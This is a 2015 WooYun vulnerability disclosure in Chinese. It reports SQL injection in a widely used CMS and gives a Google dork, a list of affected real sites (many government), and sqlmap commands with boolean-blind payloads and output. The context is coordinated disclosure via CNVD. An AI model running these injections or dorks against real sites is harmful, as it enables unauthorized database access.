当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095329

漏洞标题:某通用型cms建站系统注入漏洞(涉及大量政务网站)

相关厂商:延边创智科技有限公司

漏洞作者: Mr.Q

提交时间:2015-02-25 09:09

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-25: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-05: 细节向第三方安全合作伙伴开放
2015-04-26: 细节向核心白帽子及相关领域专家公开
2015-05-06: 细节向普通白帽子公开
2015-05-16: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

某通用型cms建站系统注入漏洞(涉及大量政务网站)

详细说明:

厂商:延边创智科技有限公司
谷歌关键字:inurl:Y01/ws_xw/info.asp

a.png


存在大量网站:
http://www.ybga.gov.cn/ybzgaj/Y01/ws_xw/info.asp?mkbh=M001004
http://www.ybztz.gov.cn/Y01/ws_xw/info.asp?mkbh=M007005
http://www.ybxfj.gov.cn/Y01/ws_xw/info.asp?mkbh=M004001
http://www.ybzhbj.gov.cn/Y01/ws_xw/info.asp?mkbh=M004001
http://www.dhjsj.gov.cn/jsj/Y01/ws_xw/info.asp?mkbh=M004001
http://www.atxga.com/Y01/ws_xw/info.asp?mkbh=M002001
http://www.xy1957.com/y01/ws_xw/info.asp?mkbh=M003001
http://www.dirui.com.cn/Y01/ws_xw/info.asp?mkbh=M001002
http://www.yjbhdl.com/Y01/ws_xw/info.asp?mkbh=M006001
http://www.ybzw.net/Y01/ws_xw/info.asp?mkbh=M004001
http://www.123555.net/Y01/ws_xw/info.asp?mkbh=M004001
http://www.dhsyzx.cn/Y01/ws_xw/f01_info.asp?mkbh=M009001
http://www.dbysjy.com/Y01/ws_xw/info.asp?mkbh=M001002
http://yballvideo.com/Y01/ws_xw/info.asp?mkbh=M002010
http://www.yongzhenfood.com/cn/Y01/ws_xw/info.asp?mkbh=M003001
http://sysmed.cn/china/Y01/ws_xw/info.asp?mkbh=M004001
http://www.jladly.com/Y01/ws_xw/info.asp?mkbh=M006002
http://www.dan-hua.com/cn/Y01/ws_xw/info.asp?mkbh=M004001
http://www.yjweiye.net/Y01/ws_xw/info.asp?mkbh=M001002
http://www.ybyingchi.com/Y01/ws_xw/f03_info.asp?mkbh=M005001
http://www.ybdf.com/www/Y01/ws_xw/info.asp?mkbh=M005003
http://www.ybdadi.com/ybdadi/Y01/ws_xw/info.asp?mkbh=M003001
http://www.caoxianyy.com/cxyy/Y01/ws_xw/info.asp?mkbh=M002001
http://www.yjggqc.com/gjgs/Y01/ws_xw/info.asp?mkbh=M002001
http://www.ybcyyy.net/cyyy/Y01/ws_xw/info.asp?mkbh=M006001
http://www.hebbeilin.com/Y01/ws_xw/info.asp?mkbh=M011007
首先厂商主站存在sql注入
http://ybczkj2.bjsx30.host.35.com/ybczkj/Y01/ws_xw/info.asp?mkbh=M007001

sqlmap -u http://ybczkj2.bjsx30.host.35.com/ybczkj/Y01/ws_xw/info.asp?mkbh=M007001 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:00:05
[23:00:05] [INFO] resuming back-end DBMS 'microsoft access'
[23:00:07] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: mkbh
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mkbh=M007001' AND 1961=1961 AND 'kSoT'='kSoT
---
[23:00:09] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP
back-end DBMS: Microsoft Access


0.png


下面证明通用性:
1.吉林省某公安局
http://www.ybga.gov.cn/ybzgaj/Y01/ws_xw/info.asp?mkbh=M001004

sqlmap -u http://www.ybga.gov.cn/ybzgaj/Y01/ws_xw/info.asp?mkbh=M001004 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:22:35
[22:22:35] [INFO] resuming back-end DBMS 'microsoft access'
[22:22:35] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: mkbh
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mkbh=M001004' AND 1034=1034 AND 'ZdjJ'='ZdjJ
---
[22:22:36] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access


1.png


2.国家某统战部sql注入
http://www.ybztz.gov.cn/Y01/ws_xw/info.asp?mkbh=M007005

sqlmap -u http://www.ybztz.gov.cn/Y01/ws_xw/info.asp?mkbh=M007005 --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:29:17
[22:29:18] [INFO] resuming back-end DBMS 'microsoft access'
[22:29:24] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: mkbh
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mkbh=M007005' AND 6513=6513 AND 'nRcx'='nRcx
---
[22:29:26] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access


2.png


3.吉林省某信访局sql注入
http://www.ybxfj.gov.cn/Y01/ws_xw/info.asp?mkbh=M004001

sqlmap -u http://www.ybxfj.gov.cn/Y01/ws_xw/info.asp?mkbh=M004001 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:40:35
[22:40:36] [INFO] resuming back-end DBMS 'microsoft access'
[22:40:39] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: mkbh
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mkbh=M004001' AND 7415=7415 AND 'BCRb'='BCRb
---
[22:40:42] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP
back-end DBMS: Microsoft Access


3.png


4.吉林省某环保局
http://www.ybzhbj.gov.cn/Y01/ws_xw/info.asp?mkbh=M004001

sqlmap -u http://www.ybzhbj.gov.cn/Y01/ws_xw/info.asp?mkbh=M004001 --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:43:09
[22:43:09] [INFO] resuming back-end DBMS 'microsoft access'
[22:43:16] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: mkbh
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mkbh=M004001' AND 4784=4784 AND 'usMK'='usMK
---
[22:43:16] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft Access


4.png


5.延边州某公安局sql注入
http://www.atxga.com/Y01/ws_xw/info.asp?mkbh=M002001

5.png


6.吉林省某重点中学注入
http://www.dhsyzx.cn/Y01/ws_xw/f01_info.asp?mkbh=M009001

6.png


7.河北省某林场管理局网站sql注入
http://www.hebbeilin.com/Y01/ws_xw/info.asp?mkbh=M011007

7.png


还有很多网站,不逐一证明了

漏洞证明:

已证明

修复方案:

过滤

版权声明:转载请注明来源 Mr.Q@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-03-02 15:56

厂商回复:

CNVD确认所述情况,已经由CNVD通过网站公开联系方式向软件生产厂商通报。

最新状态:

暂无